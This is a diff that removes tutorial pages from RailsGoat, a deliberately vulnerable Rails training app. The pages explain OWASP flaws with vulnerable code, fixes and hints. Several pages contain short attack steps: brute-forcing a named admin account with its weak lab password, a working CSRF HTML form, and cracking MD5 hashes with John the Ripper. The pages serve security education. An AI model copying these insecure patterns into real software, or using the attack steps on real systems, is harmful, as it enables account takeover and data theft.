To mitigate this attack and shore up our weakness, we do two things. The first is to find a user by email, if they don't exist, create a new user object in memory (not in the database) and assign it a blank password value. This means, regardless of whether or not a user exists, we will have a user to perform some processing on. The next is, we take the input from the user and match it against the user object's password leveraging secure_compare. This is a function (secure_compare) used to ensure that when a comparison happens, it will always take the same amount of time.
|
||||
</p>
|
||||
<p class="desc">
|
||||
In summary, we have ensured that regardless of whether or not a user exists, a password comparison will always occur and it will take the same amount of time to complete.
|
||||
</p>
|
||||
</div>
|
||||
</div>
|
||||
</div>
|
||||
<div class="accordion-group">
|
||||
<div class="accordion-heading">
|
||||
<a style="background-color: rgb(181, 121, 158)" href="#collapseCompFour" data-parent="#accordion1" data-toggle="collapse" class="accordion-toggle">
|
||||
<i class="icon-aid icon-white">
|
||||
</i>
|
||||
Hint
|
||||
</a>
|
||||
</div>
|
||||
<div class="accordion-body collapse" id="collapseCompFour" style="height: 0px;">
|
||||
<div class="accordion-inner">
|
||||
<p class="desc">
|
||||
Timing is everything. Authenticating is important too.
|
||||
</p>
|
||||
</div>
|
||||
</div>
|
||||
</div>
|
||||
</div>
|
||||
</div>
|
||||
</div>
|
||||
@@ -1,100 +0,0 @@
|
||||
<div class="widget">
|
||||
<div class="widget-header">
|
||||
<div class="title">
|
||||
<span class="fs1" aria-hidden="true" data-icon=""></span> A2 - Broken Authentication and Session Management - Lack of Password Complexity
|
||||
</div>
|
||||
</div>
|
||||
<div class="widget-body">
|
||||
<div id="accordion1" class="accordion no-margin">
|
||||
<div class="accordion-group">
|
||||
<div class="accordion-heading">
|
||||
<a href="#collapsePwdOne" data-parent="#accordion1" data-toggle="collapse" class="accordion-toggle">
|
||||
<i class="icon-info icon-white">
|
||||
</i>
|
||||
Description
|
||||
</a>
|
||||
</div>
|
||||
<div class="accordion-body in collapse" id="collapsePwdOne" style="height: auto;">
|
||||
<div class="accordion-inner">
|
||||
<p class="desc">
|
||||
Password complexity is incredibly important and highly debated subject. Other factors play a part in the stringency of the enforcement policy applied. If a username can be enumerated, a CAPTCHA on the login form is not present or other methods to deter a brute-force password guessing campaign are not in place, at least password complexity enforcement policy can make it a that much more difficult for an attacker to guess users passwords.
|
||||
</p>
|
||||
</div>
|
||||
</div>
|
||||
</div>
|
||||
<div class="accordion-group">
|
||||
<div class="accordion-heading">
|
||||
<a href="#collapsePwdTwo" data-parent="#accordion1" data-toggle="collapse" class="accordion-toggle">
|
||||
<i class="icon-bug icon-white">
|
||||
</i>
|
||||
Bug
|
||||
</a>
|
||||
</div>
|
||||
<div class="accordion-body collapse" id="collapsePwdTwo" style="height: 0px;">
|
||||
<div class="accordion-inner">
|
||||
<p>
|
||||
Within app/models/User.rb
|
||||
</p>
|
||||
<pre class="ruby">
|
||||
validates :password, :presence => true,
|
||||
:confirmation => true,
|
||||
:length => {:within => 6..40},
|
||||
:on => :create
|
||||
</pre>
|
||||
<p class="desc">
|
||||
The application validates only the password length and nothing else. Developers can leverage the format option to apply a regular expression that checks the password has sufficient complexity.
|
||||
</p>
|
||||
</div>
|
||||
</div>
|
||||
</div>
|
||||
<div class="accordion-group">
|
||||
<div class="accordion-heading">
|
||||
<a href="#collapsePwdThree" data-parent="#accordion1" data-toggle="collapse" class="accordion-toggle">
|
||||
<i class="icon-lightning icon-white">
|
||||
</i>
|
||||
Solution
|
||||
</a>
|
||||
</div>
|
||||
<div class="accordion-body collapse" id="collapsePwdThree" style="height: 0px;">
|
||||
<div class="accordion-inner">
|
||||
<p><b>Lack of Password Complexity - ATTACK</b></p>
|
||||
<p class="desc">
|
||||
Leverage a tool such as BurpSuite's intruder to brute-force the passwords of the users. The highest privileged account that you an attacker can compromise is the admin. The password is very simple ("admin1234"), username is ("admin@metacorp.com").
|
||||
</p>
|
||||
<p><b>Lack of Password Complexity - SOLUTION</b></p>
|
||||
<p class="desc">
|
||||
This regular expression validates the password has the following requirements:
|
||||
<li>1 digit</li>
|
||||
<li>1 lowercase alphabet</li>
|
||||
<li>1 uppercase alphabet</li>
|
||||
<li>1 special character</li>
|
||||
</p>
|
||||
<pre class="ruby">
|
||||
validates :password, :presence => true,
|
||||
:confirmation => true,
|
||||
:if => :password,
|
||||
:format => {:with => /\A.*(?=.{10,})(?=.*\d)(?=.*[a-z])(?=.*[A-Z])(?=.*[\@\#\$\%\^\&\+\=]).*\z/}
|
||||
|
||||
</pre>
|
||||
</div>
|
||||
</div>
|
||||
</div>
|
||||
<div class="accordion-group">
|
||||
<div class="accordion-heading">
|
||||
<a style="background-color: rgb(181, 121, 158)" href="#collapsePwdFour" data-parent="#accordion1" data-toggle="collapse" class="accordion-toggle">
|
||||
<i class="icon-aid icon-white">
|
||||
</i>
|
||||
Hint
|
||||
</a>
|
||||
</div>
|
||||
<div class="accordion-body collapse" id="collapsePwdFour" style="height: 0px;">
|
||||
<div class="accordion-inner">
|
||||
<p class="desc">
|
||||
I wonder how strong the administrator's password is?
|
||||
</p>
|
||||
</div>
|
||||
</div>
|
||||
</div>
|
||||
</div>
|
||||
</div>
|
||||
</div>
|
||||
@@ -1,140 +0,0 @@
|
||||
<div class="widget">
|
||||
<div class="widget-header">
|
||||
<div class="title">
|
||||
<span class="fs1" aria-hidden="true" data-icon=""></span> A2 - Broken Authentication and Session Management - Username/Pass Enumeration
|
||||
</div>
|
||||
</div>
|
||||
<div class="widget-body">
|
||||
<div id="accordion1" class="accordion no-margin">
|
||||
<div class="accordion-group">
|
||||
<div class="accordion-heading">
|
||||
<a href="#collapseOne" data-parent="#accordion1" data-toggle="collapse" class="accordion-toggle">
|
||||
<i class="icon-info icon-white">
|
||||
</i>
|
||||
Description
|
||||
</a>
|
||||
</div>
|
||||
<div class="accordion-body in collapse" id="collapseOne" style="height: auto;">
|
||||
<div class="accordion-inner">
|
||||
<p class="desc">
|
||||
Overly verbose error messages that indicate whether or not a user exists can assist an attacker with brute-forcing accounts. In attempting to harvest valid usernames for a password-guessing campaign, these messages can prove very useful.
|
||||
</p>
|
||||
</div>
|
||||
</div>
|
||||
</div>
|
||||
<div class="accordion-group">
|
||||
<div class="accordion-heading">
|
||||
<a href="#collapseTwo" data-parent="#accordion1" data-toggle="collapse" class="accordion-toggle">
|
||||
<i class="icon-bug icon-white">
|
||||
</i>
|
||||
Bug
|
||||
</a>
|
||||
</div>
|
||||
<div class="accordion-body collapse" id="collapseTwo" style="height: 0px;">
|
||||
<div class="accordion-inner">
|
||||
<p><b>Username and Password Enumeration</b></p>
|
||||
<p><b>Within /app/models/user.rb:</b><p>
|
||||
|
||||
|
||||
<pre class="ruby">
|
||||
def self.authenticate(email, password)
|
||||
auth = nil
|
||||
user = find_by_email(email)
|
||||
# I heard something about hashing, dunno, why bother really. Nobody will get access to my stuff!
|
||||
if user
|
||||
if user.password == password
|
||||
auth = user
|
||||
else
|
||||
raise "Incorrect Password!"
|
||||
end
|
||||
else
|
||||
raise "#{email} doesn't exist!"
|
||||
end
|
||||
return auth
|
||||
end
|
||||
</pre>
|
||||
<p> On lines 9 and 12 you'll notice that the application generates two error messages. </p>
|
||||
<p><b>Within /app/controllers/sessions_controller.rb:</b><p>
|
||||
<pre class="ruby">
|
||||
def create
|
||||
|
||||
begin
|
||||
user = User.authenticate(params[:email], params[:password])
|
||||
rescue Exception => e
|
||||
end
|
||||
|
||||
if user
|
||||
session[:user_id] = user.user_id if User.where(:user_id => user.user_id).exists?
|
||||
redirect_to home_dashboard_index_path
|
||||
else
|
||||
flash[:error] = e.message
|
||||
render "new"
|
||||
end
|
||||
|
||||
end
|
||||
</pre>
|
||||
<p> On line 5 you see the exception message object "e" is created. On line 11, the message is displayed. </p>
|
||||
<p class="desc">
|
||||
One of these messages indicates the email address (username) doesn't exist on the system. The other indicates that the password is incorrect. Although the application will render both error messages, either one of the error messages would be harmful by itself. This type of information can be used by an attacker to harvest email addresses or usernames. Once that list is gathered, passwords can be guessed for each account. If the username being enumerated is actually an email address, a phishing campaign could ensue with emails made to look like they are originating from the vulnerable site.
|
||||
</p>
|
||||
</div>
|
||||
</div>
|
||||
</div>
|
||||
<div class="accordion-group">
|
||||
<div class="accordion-heading">
|
||||
<a href="#collapseThree" data-parent="#accordion1" data-toggle="collapse" class="accordion-toggle">
|
||||
<i class="icon-lightning icon-white">
|
||||
</i>
|
||||
Solution
|
||||
</a>
|
||||
</div>
|
||||
<div class="accordion-body collapse" id="collapseThree" style="height: 0px;">
|
||||
<div class="accordion-inner">
|
||||
<p>
|
||||
<b> Username and Password Enumeration - SOLUTION</b>
|
||||
</p>
|
||||
<p> Within /app/controllers/sessions_controller.rb</p>
|
||||
<pre class="ruby">
|
||||
def create
|
||||
|
||||
begin
|
||||
user = User.authenticate(params[:email], params[:password])
|
||||
rescue Exception => e
|
||||
end
|
||||
|
||||
if user
|
||||
session[:user_id] = user.user_id if User.where(:user_id => user.user_id).exists?
|
||||
redirect_to home_dashboard_index_path
|
||||
else
|
||||
flash[:error] = "Either your username and password is incorrect" #e.message
|
||||
render "new"
|
||||
end
|
||||
|
||||
end
|
||||
</pre>
|
||||
<p class="desc">
|
||||
Although this fix is neither systemic nor does it address the problematic code at its core (within the user model), it does provide a quick solution. On line 12, we comment out the "e.message code" and instead provide a very generic error message that lacks specificity on what credential was incorrectly entered.
|
||||
</p>
|
||||
</div>
|
||||
</div>
|
||||
</div>
|
||||
<div class="accordion-group">
|
||||
<div class="accordion-heading">
|
||||
<a style="background-color: rgb(181, 121, 158)" href="#collapseFour" data-parent="#accordion1" data-toggle="collapse" class="accordion-toggle">
|
||||
<i class="icon-aid icon-white">
|
||||
</i>
|
||||
Hint
|
||||
</a>
|
||||
</div>
|
||||
<div class="accordion-body collapse" id="collapseFour" style="height: 0px;">
|
||||
<div class="accordion-inner">
|
||||
<p class="desc">
|
||||
Enter an email address that wouldn't likely exist into the login form. Analyze the result.<br/><br/>
|
||||
Can you leverage this to gain unauthorized access?
|
||||
</p>
|
||||
</div>
|
||||
</div>
|
||||
</div>
|
||||
</div>
|
||||
</div>
|
||||
</div>
|
||||
@@ -1,128 +0,0 @@
|
||||
<div class="widget">
|
||||
<div class="widget-header">
|
||||
<div class="title">
|
||||
<span class="fs1" aria-hidden="true" data-icon=""></span> A8 - Cross Site Request Forgery (CSRF)
|
||||
</div>
|
||||
</div>
|
||||
<div class="widget-body">
|
||||
<div id="accordion1" class="accordion no-margin">
|
||||
<div class="accordion-group">
|
||||
<div class="accordion-heading">
|
||||
<a href="#collapseOne" data-parent="#accordion1" data-toggle="collapse" class="accordion-toggle">
|
||||
<i class="icon-info icon-white">
|
||||
</i>
|
||||
Description
|
||||
</a>
|
||||
</div>
|
||||
<div class="accordion-body in collapse" id="collapseOne" style="height: auto;">
|
||||
<div class="accordion-inner">
|
||||
<p>A CSRF attack forces a logged-on victim’s browser to send a forged HTTP request, including the victim’s session cookie and any other automatically included authentication information, to a vulnerable web application. This allows the attacker to force the victim’s browser to generate requests the vulnerable application thinks are legitimate requests from the victim.</p>
|
||||
</div>
|
||||
</div>
|
||||
</div>
|
||||
<div class="accordion-group">
|
||||
<div class="accordion-heading">
|
||||
<a href="#collapseTwo" data-parent="#accordion1" data-toggle="collapse" class="accordion-toggle">
|
||||
<i class="icon-bug icon-white">
|
||||
</i>
|
||||
Bug
|
||||
</a>
|
||||
</div>
|
||||
<div class="accordion-body collapse" id="collapseTwo" style="height: 0px;">
|
||||
<div class="accordion-inner">
|
||||
<p><b>Cross-Site Request Forgery (CSRF) - The following code was taken from: /app/controllers/application_controller.rb and /app/views/layouts/application.html.erb</b></p>
|
||||
<p>application_controller.rb<p>
|
||||
<p>
|
||||
<pre class="ruby">
|
||||
# Our security guy keep talking about sea-surfing, cool story bro.
|
||||
# protect_from_forgery
|
||||
</pre>
|
||||
|
||||
</p>
|
||||
<p> application.html.erb </p>
|
||||
<p>
|
||||
<pre class="ruby">
|
||||
<%= @meta_code_bad %>
|
||||
</pre>
|
||||
</p>
|
||||
</div>
|
||||
</div>
|
||||
</div>
|
||||
<div class="accordion-group">
|
||||
<div class="accordion-heading">
|
||||
<a href="#collapseThree" data-parent="#accordion1" data-toggle="collapse" class="accordion-toggle">
|
||||
<i class="icon-lightning icon-white">
|
||||
</i>
|
||||
Solution
|
||||
</a>
|
||||
</div>
|
||||
<div class="accordion-body collapse" id="collapseThree" style="height: 0px;">
|
||||
<div class="accordion-inner">
|
||||
<p><b> Cross-Site Request Forgery ATTACK:</b></p>
|
||||
<p class="desc">
|
||||
The application allows users to update their calendar and schedule PTO events (PTO section). Due to the fact CSRF protections are disabled, the AJAX request will send the authenticity token but the application will <b>not</b> validate either its presence or validity. Create an html page using the code shown below, authenticate as another user, click on it, review the new calendar (change the dates under date_range1). You should see this HTML code will work, even if you hadn't navigated to the PTO section prior to sending it.
|
||||
</p>
|
||||
<p>
|
||||
<pre class="ruby">
|
||||
<%=
|
||||
%{
|
||||
<html>
|
||||
<body>
|
||||
<form action="http://railsgoat.dev/schedule.json" method="POST">
|
||||
<input type="hidden" name="schedule[event_name]" value="Bad Guy" />
|
||||
<input type="hidden" name="schedule[event_type]" value="pto" />
|
||||
<input type="hidden" name="schedule[event_desc]" value="Fun Fun" />
|
||||
<input type="hidden" name="date_range1" value="06/08/2013 - 06/09/2013" />
|
||||
<input type="submit" value="Submit request" />
|
||||
</form>
|
||||
</body>
|
||||
</html>
|
||||
}
|
||||
%>
|
||||
</pre>
|
||||
</p>
|
||||
|
||||
<p><b> Cross-Site Request Forgery SOLUTION:</b></p>
|
||||
<p>
|
||||
By default, the protect_from_forgery directive is added under the application_controller.rb at project creation. However, occasionally developers turn it off (comment out) because of issues with JS. There are two separate solutions around the JS problem.
|
||||
</p>
|
||||
<p>
|
||||
Once protect_from_forgery is added back...
|
||||
<li>Add the following code within the header section of the application.html.erb file (or any other application layout file).</li>
|
||||
</p>
|
||||
<p>
|
||||
<pre class="ruby">
|
||||
<%= @meta_code_good %>
|
||||
</pre>
|
||||
</p>
|
||||
<p>
|
||||
That will allow you to parse the meta tag with JS. However, keep in mind that any form generated by Rails is populated with an authenticity token so, if you leverage something like JQuery to make an Ajax request, you can include all values within the form by using the technique shown next.
|
||||
</p>
|
||||
<p>
|
||||
<li>Leverage the serialize() method, shown on line 3. This grabs all the values from the form, including the authenticity token.</li>
|
||||
</p>
|
||||
<p>
|
||||
<pre class="ruby">
|
||||
<%= @ajax_code_good %>
|
||||
</pre>
|
||||
</p>
|
||||
</div>
|
||||
</div>
|
||||
</div>
|
||||
<div class="accordion-group">
|
||||
<div class="accordion-heading">
|
||||
<a style="background-color: rgb(181, 121, 158)" href="#collapseFour" data-parent="#accordion1" data-toggle="collapse" class="accordion-toggle">
|
||||
<i class="icon-aid icon-white">
|
||||
</i>
|
||||
Hint
|
||||
</a>
|
||||
</div>
|
||||
<div class="accordion-body collapse" id="collapseFour" style="height: 0px;">
|
||||
<div class="accordion-inner">
|
||||
PTO is precious, glad my calendar is safe!
|
||||
</div>
|
||||
</div>
|
||||
</div>
|
||||
</div>
|
||||
</div>
|
||||
</div>
|
||||
@@ -1,144 +0,0 @@
|
||||
<div class="widget">
|
||||
<div class="widget-header">
|
||||
<div class="title">
|
||||
<span class="fs1" aria-hidden="true" data-icon=""></span> A6 - Sensitive Data Exposure - Model Attributes Exposure
|
||||
</div>
|
||||
</div>
|
||||
<div class="widget-body">
|
||||
<div id="accordion1" class="accordion no-margin">
|
||||
<div class="accordion-group">
|
||||
<div class="accordion-heading">
|
||||
<a href="#collapseModelOne" data-parent="#accordion1" data-toggle="collapse" class="accordion-toggle">
|
||||
<i class="icon-info icon-white">
|
||||
</i>
|
||||
Description
|
||||
</a>
|
||||
</div>
|
||||
<div class="accordion-body in collapse" id="collapseModelOne" style="height: auto;">
|
||||
<div class="accordion-inner">
|
||||
<p class="desc">
|
||||
The application's API returns a model object (user or users). Using respond_with, the API returns the full model object. It is simple but exposes information such as the user's password and other user attributes that you may wish to keep invisible.
|
||||
</p>
|
||||
</div>
|
||||
</div>
|
||||
</div>
|
||||
<div class="accordion-group">
|
||||
<div class="accordion-heading">
|
||||
<a href="#collapseModelTwo" data-parent="#accordion1" data-toggle="collapse" class="accordion-toggle">
|
||||
<i class="icon-bug icon-white">
|
||||
</i>
|
||||
Bug
|
||||
</a>
|
||||
</div>
|
||||
<div class="accordion-body collapse" id="collapseModelTwo" style="height: 0px;">
|
||||
<div class="accordion-inner">
|
||||
<p class="desc">
|
||||
Within app/controllers/api/v1/users_controller.rb:
|
||||
</p>
|
||||
<pre class="ruby">
|
||||
def index
|
||||
# We removed the .as_json code from the model, just seemed like extra work.
|
||||
# dunno, maybe useful at a later time?
|
||||
#respond_with @user.admin ? User.all.as_json : @user.as_json
|
||||
|
||||
respond_with @user.admin ? User.all : @user
|
||||
end
|
||||
|
||||
def show
|
||||
respond_with @user.as_json
|
||||
end
|
||||
</pre>
|
||||
<p class="desc">
|
||||
The <i>as_json</i> method referenced in the comments section of the index action exists within the user model in order to override and safely protect our model from only rendering certain attributes. It is unused (commented out), app/models/user.rb:
|
||||
</p>
|
||||
<pre class="ruby">
|
||||
# Instead of the entire user object being returned, we can use this to filter.
|
||||
def as_json
|
||||
super(only: [:user_id, :email, :first_name, :last_name])
|
||||
end
|
||||
</pre>
|
||||
<p class="desc">
|
||||
When utilizing the method that most tutorials describe or advocate when rendering model objects via JSON in an API (unsafe), the response looks like this:
|
||||
</p>
|
||||
<pre>
|
||||
HTTP/1.1 200 OK
|
||||
Content-Type: application/json; charset=utf-8
|
||||
X-UA-Compatible: IE=Edge
|
||||
ETag: "6b4caf343a20865de174b2b530b945dd"
|
||||
Cache-Control: max-age=0, private, must-revalidate
|
||||
X-Request-Id: c3b0a57861087c0b827aab231747ef0c
|
||||
X-Runtime: 0.051734
|
||||
Connection: close
|
||||
|
||||
{"admin":false,"created_at":"2014-01-23T16:17:10Z","email":
|
||||
"jack@metacorp.com","first_name":"Jack","id":2,"last_name":"Mannino","password":
|
||||
"b46dd2888a0904972649cc880a93f4dd","updated_at":"2014-01-23T16:17:10Z","user_id":2}
|
||||
</pre>
|
||||
<p class="desc">
|
||||
Note that all attributes associated with this user are returned via the API.
|
||||
</p>
|
||||
</div>
|
||||
</div>
|
||||
</div>
|
||||
<div class="accordion-group">
|
||||
<div class="accordion-heading">
|
||||
<a href="#collapseModelThree" data-parent="#accordion1" data-toggle="collapse" class="accordion-toggle">
|
||||
<i class="icon-lightning icon-white">
|
||||
</i>
|
||||
Solution
|
||||
</a>
|
||||
</div>
|
||||
<div class="accordion-body collapse" id="collapseModelThree" style="height: 0px;">
|
||||
<div class="accordion-inner">
|
||||
<p><b>Model Attributes Exposure - ATTACK</b></p>
|
||||
<p class="desc"> Use the API and review the data returned. Additional information on exploiting the API available under the <i>Extras > Logic Flaws</i> Section.</p>
|
||||
<p><b>Model Attributes Exposure - SOLUTION</b></p>
|
||||
<p class="desc">
|
||||
Uncomment the <i>as_json</i> method within the user model. Additionally, call <i>.as_json</i> on any User model object you would like to return via the API or other means. Example:
|
||||
</p>
|
||||
<pre class="ruby">
|
||||
respond_with @user.admin ? User.all.as_json : @user.as_json
|
||||
</pre>
|
||||
<p class="desc">
|
||||
Upon uncommenting the <i>as_json</i> method within the User model, the <i>as_json</i> method will ensure the API output only returns those attributes you have allowed in the following code:
|
||||
</p>
|
||||
<pre class="ruby">
|
||||
def as_json
|
||||
super(<span style="background-color:yellow">only: [:user_id, :email, :first_name, :last_name]</span>)
|
||||
end
|
||||
</pre>
|
||||
<p class="desc">
|
||||
The response from the API should look like:
|
||||
</p>
|
||||
<pre>
|
||||
HTTP/1.1 200 OK
|
||||
Content-Type: application/json; charset=utf-8
|
||||
X-UA-Compatible: IE=Edge
|
||||
ETag: "2333488e856669ac637e37cb4cf09cb6"
|
||||
Cache-Control: max-age=0, private, must-revalidate
|
||||
X-Request-Id: baa6a1c90004838793614e4c61633767
|
||||
X-Runtime: 0.092768
|
||||
Connection: close
|
||||
|
||||
{"email":"jack@metacorp.com","first_name":"Jack","last_name":"Mannino","user_id":2}
|
||||
</pre>
|
||||
</div>
|
||||
</div>
|
||||
</div>
|
||||
<div class="accordion-group">
|
||||
<div class="accordion-heading">
|
||||
<a style="background-color: rgb(181, 121, 158)" href="#collapseModelFour" data-parent="#accordion1" data-toggle="collapse" class="accordion-toggle">
|
||||
<i class="icon-aid icon-white">
|
||||
</i>
|
||||
Hint
|
||||
</a>
|
||||
</div>
|
||||
<div class="accordion-body collapse" id="collapseModelFour" style="height: 0px;">
|
||||
<div class="accordion-inner">
|
||||
We have an API available... what does it return?
|
||||
</div>
|
||||
</div>
|
||||
</div>
|
||||
</div>
|
||||
</div>
|
||||
</div>
|
||||
@@ -1,127 +0,0 @@
|
||||
<div class="widget">
|
||||
<div class="widget-header">
|
||||
<div class="title">
|
||||
<span class="fs1" aria-hidden="true" data-icon=""></span> A6 - Sensitive Data Exposure - Insecure Password Storage
|
||||
</div>
|
||||
</div>
|
||||
<div class="widget-body">
|
||||
<div id="accordion1" class="accordion no-margin">
|
||||
<div class="accordion-group">
|
||||
<div class="accordion-heading">
|
||||
<a href="#collapseOne" data-parent="#accordion1" data-toggle="collapse" class="accordion-toggle">
|
||||
<i class="icon-info icon-white">
|
||||
</i>
|
||||
Description
|
||||
</a>
|
||||
</div>
|
||||
<div class="accordion-body in collapse" id="collapseOne" style="height: auto;">
|
||||
<div class="accordion-inner">
|
||||
<p class="desc">
|
||||
The OWASP description - Many web applications do not properly protect sensitive data, such as credit cards, SSNs, and authentication credentials, with appropriate encryption or hashing. Attackers may steal or modify such weakly protected data to conduct identity theft, credit card fraud, or other crimes.
|
||||
</p>
|
||||
<p class="desc">
|
||||
Railsgoat does hash user passwords. Unfortunately, it does so using an extremely weak algorithm (MD5). Generally speaking, a strong algorithm and per-user salt can greatly improve the security of a hashed value. Also important to note, hashing and encryption are not the same. Encryption is meant to be reversible using some secret information, hashing is not, hashing is a one-way function not meant to be reversible.
|
||||
</p>
|
||||
<p class="desc">
|
||||
All that being said, there are groups within security organizations that devote themselves to threat models built around this topic so clearly, this description does not encompass all scenarios. However, our recommendation is better than hashing using MD5 <i class="icon-wink-2"></i>.
|
||||
</p>
|
||||
</div>
|
||||
</div>
|
||||
</div>
|
||||
<div class="accordion-group">
|
||||
<div class="accordion-heading">
|
||||
<a href="#collapseTwo" data-parent="#accordion1" data-toggle="collapse" class="accordion-toggle">
|
||||
<i class="icon-bug icon-white">
|
||||
</i>
|
||||
Bug
|
||||
</a>
|
||||
</div>
|
||||
<div class="accordion-body collapse" id="collapseTwo" style="height: 0px;">
|
||||
<div class="accordion-inner">
|
||||
<p>
|
||||
Within app/models/user.rb:
|
||||
</p>
|
||||
<pre class="ruby">
|
||||
before_save <span style="background-color:yellow">:hash_password</span>
|
||||
|
||||
def self.authenticate(email, password)
|
||||
auth = nil
|
||||
user = find_by_email(email)
|
||||
if user
|
||||
if user.password == <span style="background-color:yellow">Digest::MD5.hexdigest(password)</span>
|
||||
auth = user
|
||||
else
|
||||
raise "Incorrect Password!"
|
||||
end
|
||||
else
|
||||
raise "#{email} doesn't exist!"
|
||||
end
|
||||
return auth
|
||||
end
|
||||
|
||||
def hash_password
|
||||
if self.password.present?
|
||||
self.password = <span style="background-color:yellow">Digest::MD5.hexdigest(password)</span>
|
||||
end
|
||||
end
|
||||
|
||||
</pre>
|
||||
|
||||
</div>
|
||||
</div>
|
||||
</div>
|
||||
<div class="accordion-group">
|
||||
<div class="accordion-heading">
|
||||
<a href="#collapseThree" data-parent="#accordion1" data-toggle="collapse" class="accordion-toggle">
|
||||
<i class="icon-lightning icon-white">
|
||||
</i>
|
||||
Solution
|
||||
</a>
|
||||
</div>
|
||||
<div class="accordion-body collapse" id="collapseThree" style="height: 0px;">
|
||||
<div class="accordion-inner">
|
||||
<p><b>Password Storage - ATTACK</b></p>
|
||||
<p class="desc">
|
||||
Using the passwords stored within db/seeds.rb file, create a wordlist and leverage a password cracking tool such as John The Ripper to crack those passwords.
|
||||
</p>
|
||||
<p><b>Password Storage - SOLUTION</b></p>
|
||||
<p class="desc">
|
||||
A simple solution here would be to enforce a per-user salt in creating a BCrypt hash. You would need to alter the db schema to add a password_salt and password_hash columns to the table.
|
||||
</p>
|
||||
<pre class="ruby">
|
||||
def self.authenticate(email, password)
|
||||
user = find_by_email(email)
|
||||
if user and user.password_hash == <span style="background-color:yellow">BCrypt::Engine.hash_secret(password, user.password_salt)</span>
|
||||
user
|
||||
else
|
||||
"Invalid Credentials Supplied"
|
||||
end
|
||||
end
|
||||
|
||||
def hash_password
|
||||
if self.password.present?
|
||||
<span style="background-color:yellow">self.password_salt = BCrypt::Engine.generate_salt</span>
|
||||
<span style="background-color:yellow">self.password_hash = BCrypt::Engine.hash_secret(self.password, self.password_salt)</span>
|
||||
end
|
||||
end
|
||||
</pre>
|
||||
</div>
|
||||
</div>
|
||||
</div>
|
||||
<div class="accordion-group">
|
||||
<div class="accordion-heading">
|
||||
<a style="background-color: rgb(181, 121, 158)" href="#collapseFour" data-parent="#accordion1" data-toggle="collapse" class="accordion-toggle">
|
||||
<i class="icon-aid icon-white">
|
||||
</i>
|
||||
Hint
|
||||
</a>
|
||||
</div>
|
||||
<div class="accordion-body collapse" id="collapseFour" style="height: 0px;">
|
||||
<div class="accordion-inner">
|
||||
How protected are those passwords in the database against cracking?
|
||||
</div>
|
||||
</div>
|
||||
</div>
|
||||
</div>
|
||||
</div>
|
||||
</div>
|
||||
@@ -1,170 +0,0 @@
|
||||
<div class="widget">
|
||||
<div class="widget-header">
|
||||
<div class="title">
|
||||
<span class="fs1" aria-hidden="true" data-icon=""></span> A6 - Sensitive Data Exposure - Clear-text storage of SSN(s)
|
||||
</div>
|
||||
</div>
|
||||
<div class="widget-body">
|
||||
<div id="accordion1" class="accordion no-margin">
|
||||
<div class="accordion-group">
|
||||
<div class="accordion-heading">
|
||||
<a href="#collapseSSNOne" data-parent="#accordion1" data-toggle="collapse" class="accordion-toggle">
|
||||
<i class="icon-info icon-white">
|
||||
</i>
|
||||
Description
|
||||
</a>
|
||||
</div>
|
||||
<div class="accordion-body in collapse" id="collapseSSNOne" style="height: auto;">
|
||||
<div class="accordion-inner">
|
||||
<p class="desc">
|
||||
The Railsgoat application stores and transmits Social Security Numbers insecurely.
|
||||
</p>
|
||||
</div>
|
||||
</div>
|
||||
</div>
|
||||
<div class="accordion-group">
|
||||
<div class="accordion-heading">
|
||||
<a href="#collapseSSNTwo" data-parent="#accordion1" data-toggle="collapse" class="accordion-toggle">
|
||||
<i class="icon-bug icon-white">
|
||||
</i>
|
||||
Bug
|
||||
</a>
|
||||
</div>
|
||||
<div class="accordion-body collapse" id="collapseSSNTwo" style="height: 0px;">
|
||||
<div class="accordion-inner">
|
||||
<p class="desc">
|
||||
The Railsgoat application stores user's Social Security Numbers in plain-text within the database and because of this, it fails to adequately protect these numbers from theft. Additionally, the user's full SSN is sent back to the user within an HTTP response from the application.
|
||||
</p>
|
||||
<p class="desc">
|
||||
The WorkInfo model (app/models/work_info.rb) is missing code to encrypt this data prior to storage. Additionally, while code exists to render only the last 4 numbers of an SSN (shown below), at no time is it used.
|
||||
</p>
|
||||
<pre class="ruby">
|
||||
# We should probably use this
|
||||
def last_four
|
||||
"***-**-" << self.decrypt_ssn[-4,4]
|
||||
end
|
||||
</pre>
|
||||
|
||||
</div>
|
||||
</div>
|
||||
</div>
|
||||
<div class="accordion-group">
|
||||
<div class="accordion-heading">
|
||||
<a href="#collapseSSNThree" data-parent="#accordion1" data-toggle="collapse" class="accordion-toggle">
|
||||
<i class="icon-lightning icon-white">
|
||||
</i>
|
||||
Solution
|
||||
</a>
|
||||
</div>
|
||||
<div class="accordion-body collapse" id="collapseSSNThree" style="height: 0px;">
|
||||
<div class="accordion-inner">
|
||||
<p><b>SSN Storage - SOLUTION</b></p>
|
||||
<p class="desc">
|
||||
There is a lot of guidance on adequately protecting sensitive data at rest and using a layered defensive approach. Make no mistake, this should not be your sole means of securing sensitive data. That being said, there are at least four precautions that should be taken.
|
||||
<li>The sensitive data is encrypted everywhere, including backups</li>
|
||||
<li>Only authorized users can access decrypted copies of the data </li>
|
||||
<li>Use a strong algorithm</li>
|
||||
<li>Strong key is generated, protected from unauthorized access, and key change is planned for.</li><br/>
|
||||
</p>
|
||||
|
||||
<p class="desc">
|
||||
In the following code, we demonstrate switching from the storage of full SSN(s) in clear-text to storing them in the AES-256 encrypted format. The first thing to do is build the encrypt and decrypt functions. These can be found within app/models/work_info.rb.
|
||||
</p>
|
||||
<pre class="ruby">
|
||||
def encrypt_ssn
|
||||
aes = OpenSSL::Cipher::Cipher.new(cipher_type)
|
||||
aes.encrypt
|
||||
aes.key = key
|
||||
aes.iv = iv if iv != nil
|
||||
self.encrypted_ssn = aes.update(self.SSN) + aes.final
|
||||
self.SSN = nil
|
||||
end
|
||||
|
||||
def decrypt_ssn
|
||||
aes = OpenSSL::Cipher::Cipher.new(cipher_type)
|
||||
aes.decrypt
|
||||
aes.key = key
|
||||
aes.iv = iv if iv != nil
|
||||
aes.update(self.encrypted_ssn) + aes.final
|
||||
end
|
||||
|
||||
def key
|
||||
raise "Key Missing" if !(KEY)
|
||||
KEY
|
||||
end
|
||||
|
||||
def iv
|
||||
raise "No IV for this User" if !(self.key_management.iv)
|
||||
self.key_management.iv
|
||||
end
|
||||
|
||||
def cipher_type
|
||||
'aes-256-cbc'
|
||||
end
|
||||
</pre>
|
||||
<p class="desc">
|
||||
Also within the WorkInfo model, we add the following line of code...
|
||||
</p>
|
||||
<pre class="ruby">
|
||||
before_save :encrypt_ssn
|
||||
</pre>
|
||||
<p class="desc">
|
||||
The remaining pieces are:
|
||||
<li> We "seed" the database with per-user initialization vectors (IV) and store them within the key_management table</li>
|
